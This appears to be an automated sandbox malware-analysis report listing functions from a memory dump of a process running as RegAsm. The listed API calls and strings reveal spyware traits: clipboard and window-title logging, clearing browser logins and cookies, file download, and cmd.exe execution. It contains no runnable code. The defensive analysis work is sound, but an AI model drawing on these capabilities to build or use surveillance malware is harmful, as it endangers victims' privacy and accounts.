                              Function 004160EE Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 27COMMON
                              Download Yara Rule
                              APIs
                              • ShellExecuteW.SHELL32(00000000,open,cmd.exe,00000000,00000000,00000000), ref: 00416130
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ExecuteShell
                              • String ID: /C $cmd.exe$open
                              • API String ID: 587946157-3896048727
                              • Opcode ID: 64774f0173dd2414335a6a01ca4130183aa4f4d30cf83fc1238f67c292a9c67a
                              • Instruction ID: 0a18f3537a1213b4b5dca9b82f73c842755a7e35c30cee8a650de64661b344da
                              • Opcode Fuzzy Hash: 64774f0173dd2414335a6a01ca4130183aa4f4d30cf83fc1238f67c292a9c67a
                              • Instruction Fuzzy Hash: 0DE0C0B0208345AAC705E775CC95CBF73ADAA94749B50483F7142A20E2EF7C9D49C659
                              Function 0040B8AC Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20threadCOMMON
                              Download Yara Rule
                              APIs
                              • TerminateThread.KERNEL32(0040A27D,00000000,004752F0,pth_unenc,0040D0B8,004752D8,004752F0,?,pth_unenc), ref: 0040B8BB
                              • UnhookWindowsHookEx.USER32 ref: 0040B8C7
                              • TerminateThread.KERNEL32(0040A267,00000000,?,pth_unenc), ref: 0040B8D5
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: TerminateThread$HookUnhookWindows
                              • String ID: pth_unenc
                              • API String ID: 3123878439-4028850238
                              • Opcode ID: 507b53b63eb7c6f10faa5869e7b72cd95082fe0a88c6c54c261be3869f185826
                              • Instruction ID: 1c21f009177841ea8acfe7f5b61a435624369701cc7e40c150536a334dec3301
                              • Opcode Fuzzy Hash: 507b53b63eb7c6f10faa5869e7b72cd95082fe0a88c6c54c261be3869f185826
                              • Instruction Fuzzy Hash: 4AE01272205356EFD7241FA09C988267BEEDA0478A324487EF2C3626B1CA794C10CB5D
                              Function 0040140A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 7libraryloaderCOMMON
                              Download Yara Rule
                              APIs
                              • GetModuleHandleA.KERNEL32(User32.dll,GetCursorInfo), ref: 00401414
                              • GetProcAddress.KERNEL32(00000000), ref: 0040141B
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: AddressHandleModuleProc
                              • String ID: GetCursorInfo$User32.dll
                              • API String ID: 1646373207-2714051624
                              • Opcode ID: 0feee19109755bbb7e48939f97e78712d63acfb534ae43d0cb60b2001d0c131e
                              • Instruction ID: 65f79b4a2c2aed896b4012a4b0ac893fb7d0ccba54e760513c8834f3bef68171
                              • Opcode Fuzzy Hash: 0feee19109755bbb7e48939f97e78712d63acfb534ae43d0cb60b2001d0c131e
                              • Instruction Fuzzy Hash: B4B09B70541740E7CB106BF45C4F9153555B514703B105476B44996151D7B44400C61E
                              Function 004014AF Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 7libraryloaderCOMMON
                              Download Yara Rule
                              APIs
                              • LoadLibraryA.KERNEL32(User32.dll), ref: 004014B9
                              • GetProcAddress.KERNEL32(00000000), ref: 004014C0
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: AddressLibraryLoadProc
                              • String ID: GetLastInputInfo$User32.dll
                              • API String ID: 2574300362-1519888992
                              • Opcode ID: 6185ad33e38da01c5cedd7fab51ef37947c258832bc82ab0b36b916a7b459740
                              • Instruction ID: ea73ef4d1088e939c140d9431744cb36a9dcab52d5ea7f3e4bb33043e5d41cbe
                              • Opcode Fuzzy Hash: 6185ad33e38da01c5cedd7fab51ef37947c258832bc82ab0b36b916a7b459740
                              • Instruction Fuzzy Hash: 5EB092B45C1700FBCB106FA4AC4E9293AA9A614703B1088ABB845D2162EBB884008F9F
                              Function 0044A004 Relevance: 6.3, APIs: 4, Instructions: 305COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: __alldvrm$_strrchr
                              • String ID:
                              • API String ID: 1036877536-0
                              • Opcode ID: 4f8832beee02cc7ac8349e43431f1a5ed1ce449240751d3aeed044ff3a2741d2
                              • Instruction ID: 0200e234d7a66e392568480c50467de0d06b46efb2a76a7ba0b74d69ca9a70f2
                              • Opcode Fuzzy Hash: 4f8832beee02cc7ac8349e43431f1a5ed1ce449240751d3aeed044ff3a2741d2
                              • Instruction Fuzzy Hash: 57A166319843869FFB21CF58C8817AEBBA1FF25304F1441AFE9859B382C27D8951C75A
                              Function 00442801 Relevance: 6.1, APIs: 4, Instructions: 133COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 8d454ba49d51131fc87e61242d4279149af29133b98be3a40794271295c3e434
                              • Instruction ID: 497cf8d2f4a88fd96e7f98feeb1d24cd381d204b534fd1f3fd6e485e43360072
                              • Opcode Fuzzy Hash: 8d454ba49d51131fc87e61242d4279149af29133b98be3a40794271295c3e434
                              • Instruction Fuzzy Hash: EA413871A00704BFF324AF79CD41B5EBBA9EB88710F10862FF105DB681E7B999418788
                              Function 0040C00C Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 103sleepCOMMON
                              Download Yara Rule
                              APIs
                              Strings
                              • [Cleared browsers logins and cookies.], xrefs: 0040C0E4
                              • Cleared browsers logins and cookies., xrefs: 0040C0F5
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Sleep
                              • String ID: [Cleared browsers logins and cookies.]$Cleared browsers logins and cookies.
                              • API String ID: 3472027048-1236744412
                              • Opcode ID: f04c9fcfc5d51e830be94f028420677c48269f78a09cd2570410497d2b162b15
                              • Instruction ID: fac43f66edf0589ccdcbb227709f1a337e776f7542e83b73a027453bfa593f46
                              • Opcode Fuzzy Hash: f04c9fcfc5d51e830be94f028420677c48269f78a09cd2570410497d2b162b15
                              • Instruction Fuzzy Hash: 2531C804348380E9D6116BF554567AB7B814E93744F08457FB9C42B3D3D97E4848C7AF
                              Function 0040A529 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 71sleepCOMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 0041C551: GetForegroundWindow.USER32 ref: 0041C561
                                • Part of subcall function 0041C551: GetWindowTextLengthW.USER32 ref: 0041C56A
                                • Part of subcall function 0041C551: GetWindowTextW.USER32 ref: 0041C594
                              • Sleep.KERNEL32(000001F4), ref: 0040A573
                              • Sleep.KERNEL32(00000064), ref: 0040A5FD
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Window$SleepText$ForegroundLength
                              • String ID: [ $ ]
                              • API String ID: 3309952895-93608704
                              • Opcode ID: e4ff9062ebc1855ffc8709a41a4aeb88848ac43e96cbaf8abbe5df7ed01e55c0
                              • Instruction ID: 97bd403738d1ca0cb59e80c1fc79ee6201ed0cb329172f4776a94889a39aca56
                              • Opcode Fuzzy Hash: e4ff9062ebc1855ffc8709a41a4aeb88848ac43e96cbaf8abbe5df7ed01e55c0
                              • Instruction Fuzzy Hash: FE119F315043006BC614BB65CC5399F77A8AF50308F40053FF552665E2FF79AA5886DB
                              Function 00443A33 Relevance: 6.1, APIs: 4, Instructions: 63COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 26aae147e3b4032e8d822610677c8b44980169b964e3a1f9465f38b9cd56633c
                              • Instruction ID: 17f232e73e96fb976a24982deb7d35e81c220cd9520ca4ef7e8dcf180de91df6
                              • Opcode Fuzzy Hash: 26aae147e3b4032e8d822610677c8b44980169b964e3a1f9465f38b9cd56633c
                              • Instruction Fuzzy Hash: 1301F2B36497067EFA202E786CC1F67220CDF41BBEB34032BB574712D1DA68CE404568
                              Function 00443AB2 Relevance: 6.1, APIs: 4, Instructions: 59COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 544fafb264448ea5c1072d449201ab24ccf485d51590c339dd7f80fdded84d3d
                              • Instruction ID: 34d970f17befced98e3ca294e9c9a609e5e7bfbb0444a55afbb34e25ce639c56
                              • Opcode Fuzzy Hash: 544fafb264448ea5c1072d449201ab24ccf485d51590c339dd7f80fdded84d3d
                              • Instruction Fuzzy Hash: 0601A2B26096117EFA111E796CC4E27624CDB81BBF325032BF535612D6DA688E014169
                              Function 0041C485 Relevance: 6.0, APIs: 4, Instructions: 50fileCOMMON
                              Download Yara Rule
                              APIs
                              • CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041C49E
                              • GetFileSize.KERNEL32(00000000,00000000), ref: 0041C4B2
                              • ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 0041C4D7
                              • CloseHandle.KERNEL32(00000000), ref: 0041C4E5
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: File$CloseCreateHandleReadSize
                              • String ID:
                              • API String ID: 3919263394-0
                              • Opcode ID: 3271d486463dfc93c477f1e2c7ad2cd28a4a76e92964f49fc02a4406d9477efd
                              • Instruction ID: d938e931a51b81dfe9e25773ede9364464a286a3a3b97e7b856b7b87d8bf29b3
                              • Opcode Fuzzy Hash: 3271d486463dfc93c477f1e2c7ad2cd28a4a76e92964f49fc02a4406d9477efd
                              • Instruction Fuzzy Hash: 0FF0C2B1245308BFE6101B25ACD4EBB375CEB867A9F00053EF902A22C1CA298C05913A
                              Function 0041C1DD Relevance: 6.0, APIs: 4, Instructions: 48COMMON
                              Download Yara Rule
                              APIs
                              • OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 0041C1F5
                              • OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 0041C208
                              • CloseHandle.KERNEL32(00000000), ref: 0041C233
                              • CloseHandle.KERNEL32(00000000), ref: 0041C23B
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CloseHandleOpenProcess
                              • String ID:
                              • API String ID: 39102293-0
                              • Opcode ID: 449f4402ebb840a84195bd3231048093a1951801f3bdb5f0a33f363ac88d28a1
                              • Instruction ID: 502f13a9e38f74389cb09c542eced9ec4ef47df168bad581006c654e14f0d55b
                              • Opcode Fuzzy Hash: 449f4402ebb840a84195bd3231048093a1951801f3bdb5f0a33f363ac88d28a1
                              • Instruction Fuzzy Hash: 53012BB1680315ABD61057D49C89FB7B27CDB84796F0000A7FA04D21D2EF748C818679
                              Function 00439863 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • ___BuildCatchObject.LIBVCRUNTIME ref: 0043987A
                                • Part of subcall function 00439EB2: ___AdjustPointer.LIBCMT ref: 00439EFC
                              • _UnwindNestedFrames.LIBCMT ref: 00439891
                              • ___FrameUnwindToState.LIBVCRUNTIME ref: 004398A3
                              • CallCatchBlock.LIBVCRUNTIME ref: 004398C7
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CatchUnwind$AdjustBlockBuildCallFrameFramesNestedObjectPointerState
                              • String ID:
                              • API String ID: 2633735394-0
                              • Opcode ID: f1135f3da04ba3a0995d0d42191a6de0eafd24a9b56dad318990318c05e81e44
                              • Instruction ID: dcee73c62e3621a690853eebe59cad03ae51e1002f288686f44977c5109bb855
                              • Opcode Fuzzy Hash: f1135f3da04ba3a0995d0d42191a6de0eafd24a9b56dad318990318c05e81e44
                              • Instruction Fuzzy Hash: 18011732000109BBCF12AF55CC01EDA3BBAEF9D754F04511AFD5861221C3BAE861DBA5
                              Function 004193E3 Relevance: 6.0, APIs: 4, Instructions: 43COMMON
                              Download Yara Rule
                              APIs
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: MetricsSystem
                              • String ID:
                              • API String ID: 4116985748-0
                              • Opcode ID: 8421f7446e2b2501a8c7f7ac55c2b56c52e48a318564101d3507d6038f1717f6
                              • Instruction ID: 9a44d86f369c7068fc2c949f9b02ed5542bf43da40f6b7222f807aea32733f55
                              • Opcode Fuzzy Hash: 8421f7446e2b2501a8c7f7ac55c2b56c52e48a318564101d3507d6038f1717f6
                              • Instruction Fuzzy Hash: DFF0A471B043155BD744EA759C51A6F6BD5EBD4264F10043FF20887281EE78DC468785
                              Function 00438F31 Relevance: 6.0, APIs: 4, Instructions: 14COMMON
                              Download Yara Rule
                              APIs
                              • ___vcrt_initialize_pure_virtual_call_handler.LIBVCRUNTIME ref: 00438F31
                              • ___vcrt_initialize_winapi_thunks.LIBVCRUNTIME ref: 00438F36
                              • ___vcrt_initialize_locks.LIBVCRUNTIME ref: 00438F3B
                                • Part of subcall function 0043A43A: ___vcrt_InitializeCriticalSectionEx.LIBVCRUNTIME ref: 0043A44B
                              • ___vcrt_uninitialize_locks.LIBVCRUNTIME ref: 00438F50
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CriticalInitializeSection___vcrt____vcrt_initialize_locks___vcrt_initialize_pure_virtual_call_handler___vcrt_initialize_winapi_thunks___vcrt_uninitialize_locks
                              • String ID:
                              • API String ID: 1761009282-0
                              • Opcode ID: 37419d0d218480942dadea5656795116f0d18a982b1fc86bcd770d00ce79fbb1
                              • Instruction ID: 04dbcd9d80b8837b95b31ffc0e846904d80335f120ca5f78e3accc67d081205e
                              • Opcode Fuzzy Hash: 37419d0d218480942dadea5656795116f0d18a982b1fc86bcd770d00ce79fbb1
                              • Instruction Fuzzy Hash: 59C04C15080781541C50B6B2210B2AE83461E7E38DFD074DFFCE0571038E4E043B653F
                              Function 00442C5D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON
                              Download Yara Rule
                              APIs
                              • __startOneArgErrorHandling.LIBCMT ref: 00442CED
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ErrorHandling__start
                              • String ID: pow
                              • API String ID: 3213639722-2276729525
                              • Opcode ID: ae0341c24035669086af68b363e9d44c4063f2ceb2f02d621ae22780893f867c
                              • Instruction ID: c2a334fe3ab53b67a82bc2a1da04863f7f1ed5e2a579c87dfbcc8ae8a095d349
                              • Opcode Fuzzy Hash: ae0341c24035669086af68b363e9d44c4063f2ceb2f02d621ae22780893f867c
                              • Instruction Fuzzy Hash: C6516DA1E0420296FB167B14CE4137B2BA4DB40751F704D7FF096823AAEB7D8C859A4F
                              Function 0044561B Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 147COMMON
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: __alloca_probe_16__freea
                              • String ID: 5}/
                              • API String ID: 1635606685-169246594
                              • Opcode ID: b5bfd120457fd6491ffe418217d2ef53c53ab42291728ef1e813032315d7eb6d
                              • Instruction ID: 8ea394e19242d531593115f3ad9b67f2d9726ff50e2d779c509e1c2fd2e4051b
                              • Opcode Fuzzy Hash: b5bfd120457fd6491ffe418217d2ef53c53ab42291728ef1e813032315d7eb6d
                              • Instruction Fuzzy Hash: F141D431A00511EBFF219B65CC42A5F77A4EF55720F65452BF808DB252EB3CD841C66D
                              Function 00442509 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 130fileCOMMON
                              Download Yara Rule
                              APIs
                              • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00442550
                              • ReadFile.KERNEL32(?,?,00001000,?,00000000), ref: 004425D0
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: FileReadUnothrow_t@std@@@__ehfuncinfo$??2@
                              • String ID: 5}/
                              • API String ID: 1834446548-169246594
                              • Opcode ID: 196e37cfe13fffe3aef580bc38f553c77a52a6f5a0f09c25fd37b981a44e175c
                              • Instruction ID: 8965e9c959f3464d8f5570b211ec8dea26f0dea9c64cc2a0dc110a7510558e52
                              • Opcode Fuzzy Hash: 196e37cfe13fffe3aef580bc38f553c77a52a6f5a0f09c25fd37b981a44e175c
                              • Instruction Fuzzy Hash: 0E412A31A00155ABEB20DF14CE80BEA77B5EB48304F5681EAF54997241DBB9DDC1CF58
                              Function 0040B748 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00434770: __onexit.LIBCMT ref: 00434776
                              • __Init_thread_footer.LIBCMT ref: 0040B797
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Init_thread_footer__onexit
                              • String ID: [End of clipboard]$[Text copied to clipboard]
                              • API String ID: 1881088180-3686566968
                              • Opcode ID: 1452d6304ce3f0295fff478f129f85fb29fa27eb4ce50424bc2e0dcad400a5b7
                              • Instruction ID: c7bebb0a0a15900a9cc4ffb6e17528162536323bfdf0e6139bd55c50ddf57f74
                              • Opcode Fuzzy Hash: 1452d6304ce3f0295fff478f129f85fb29fa27eb4ce50424bc2e0dcad400a5b7
                              • Instruction Fuzzy Hash: C0219F32A101054ACB14FB66D8829EDB379AF90318F10453FE505731E2EF386D4A8A9C
                              Function 00451B37 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • GetACP.KERNEL32(?,20001004,?,00000002,00000000,00000050,00000050,?,00451D92,?,00000050,?,?,?,?,?), ref: 00451C12
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID:
                              • String ID: ACP$OCP
                              • API String ID: 0-711371036
                              • Opcode ID: 9e0df5bdb224d2be14a0cd5949da06f0ee57b11af7c7271d7bdd2cdd18eeb32c
                              • Instruction ID: fc24b39bc158c677debbea649066bee6e1bba6d32f28379ebc1c8ba741b2d3ba
                              • Opcode Fuzzy Hash: 9e0df5bdb224d2be14a0cd5949da06f0ee57b11af7c7271d7bdd2cdd18eeb32c
                              • Instruction Fuzzy Hash: BA217D22A4010063DB34CF54C940B9B326ADF50B27F568166ED09C7322F73AED44C39C
                              Function 0044B731 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 81fileCOMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • WriteFile.KERNEL32(?,?,?,?,00000000), ref: 0044B7DB
                              • GetLastError.KERNEL32(?,0044BB6E,?,00000000,FF8BC35D,00000000,00000000,FF8BC369,00000000,0043CE84,?,?,?,83EC8B55,?,458B2CEC), ref: 0044B804
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ErrorFileLastWrite
                              • String ID: 5}/
                              • API String ID: 442123175-169246594
                              • Opcode ID: 20af68afd06ab360e4bdb5e82f8ff8310ccf0ba4e5a73b2a20494d73fbee0cd8
                              • Instruction ID: 56933c973e2243a1a9a6e47b5ff38ff3048756f5123006952a384074424e161b
                              • Opcode Fuzzy Hash: 20af68afd06ab360e4bdb5e82f8ff8310ccf0ba4e5a73b2a20494d73fbee0cd8
                              • Instruction Fuzzy Hash: 12319331A00619DBCB24CF59CD809DAB3F9EF88311F1445AAE509D7361D734ED81CB68
                              Function 0044B652 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77fileCOMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • WriteFile.KERNEL32(?,?,?,?,00000000), ref: 0044B6ED
                              • GetLastError.KERNEL32(?,0044BB8E,?,00000000,FF8BC35D,00000000,00000000,FF8BC369,00000000,0043CE84,?,?,?,83EC8B55,?,458B2CEC), ref: 0044B716
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ErrorFileLastWrite
                              • String ID: 5}/
                              • API String ID: 442123175-169246594
                              • Opcode ID: 4ce7ba64846fe54e21e128ad02a6922e6bc8b43f9bd01d5a8b125caf85c47eae
                              • Instruction ID: 12ef57d8ab414bd2a6c5914f5c8b73f84ca543b1ee1fc2f1adbb6bb6aefc8993
                              • Opcode Fuzzy Hash: 4ce7ba64846fe54e21e128ad02a6922e6bc8b43f9bd01d5a8b125caf85c47eae
                              • Instruction Fuzzy Hash: 6C21B435600219DFCB14CF69C980BE9B3F8EB48302F1044AAE94AD7351D734ED81CB64
                              Function 00404FF4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67timeCOMMON
                              Download Yara Rule
                              APIs
                              • GetLocalTime.KERNEL32(?,00475598,?,00000000,?,?,?,?,?,?,00415CC9,?,00000001,0000004C,00000000), ref: 00405030
                                • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                              • GetLocalTime.KERNEL32(?,00475598,?,00000000,?,?,?,?,?,?,00415CC9,?,00000001,0000004C,00000000), ref: 00405087
                              Strings
                              • KeepAlive | Enabled | Timeout: , xrefs: 0040501F
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: LocalTime
                              • String ID: KeepAlive | Enabled | Timeout:
                              • API String ID: 481472006-1507639952
                              • Opcode ID: 94476530adddf729a94900e8ced82c90480f790f78fd79a0466f5c5f7008df8a
                              • Instruction ID: 59903f388a44bacb81d563bcbf5ab321eb0051b597eccb46fab67989b44e7fd4
                              • Opcode Fuzzy Hash: 94476530adddf729a94900e8ced82c90480f790f78fd79a0466f5c5f7008df8a
                              • Instruction Fuzzy Hash: 1D21F2719046405BD710B7259C0676F7B64E751308F40087EE8491B2A6DA7D5A88CBEF
                              Function 004433E7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 63COMMON
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: _abort
                              • String ID: 5}$5}/
                              • API String ID: 1888311480-1789961490
                              • Opcode ID: cfcd977aaaf8d974041d7b3abe1e98498d161bf915739d9dfa6fd2c97fb9e825
                              • Instruction ID: 3d80131ce948400aaa814698e71f3e4389aafbd5e44b2ebacfd2c278c413863e
                              • Opcode Fuzzy Hash: cfcd977aaaf8d974041d7b3abe1e98498d161bf915739d9dfa6fd2c97fb9e825
                              • Instruction Fuzzy Hash: 12110A32650704ABEB14AF79DC0675E3395AF40B21F21442FF9189B2D2DFB8DC508A9D
                              Function 0041663B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62sleepfilenetworkCOMMON
                              Download Yara Rule
                              APIs
                              • Sleep.KERNEL32 ref: 00416640
                              • URLDownloadToFileW.URLMON(00000000,00000000,00000002,00000000,00000000), ref: 004166A2
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: DownloadFileSleep
                              • String ID: !D@
                              • API String ID: 1931167962-604454484
                              • Opcode ID: 07a7ba679a22719b007f27f942da87136b12813d5d7402b4186b0f1ae2008f5d
                              • Instruction ID: f21b004d79e7af0ef9ad63e4b6518ad07bb10e0138b316cec4f8e9f86784bb19
                              • Opcode Fuzzy Hash: 07a7ba679a22719b007f27f942da87136b12813d5d7402b4186b0f1ae2008f5d
                              • Instruction Fuzzy Hash: C6115171A083029AC714FF72D8969BE77A8AF54348F400C3FF546621E2EE3C9949C65A
                              Function 00434FCB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0043500F
                              • ___raise_securityfailure.LIBCMT ref: 004350F6
                              Strings
                              Memory Dump Source
                              • Source File: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_8_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: FeaturePresentProcessor___raise_securityfailure
                              • String ID: 5}/
                              • API String ID: 3761405300-169246594
                              • Opcode ID: be40dc83abc0ca80c0fad86a9e7b4fd61104a5f1cd2425eea24a959416d4fa5e
                              • Instruction ID: 285bdab9cd9bf10e1484ed0235a1a0c9f24c093ab76f059762c6817201674d9b
                              • Opcode Fuzzy Hash: be40dc83abc0ca80c0fad86a9e7b4fd61104a5f1cd2425eea24a959416d4fa5e
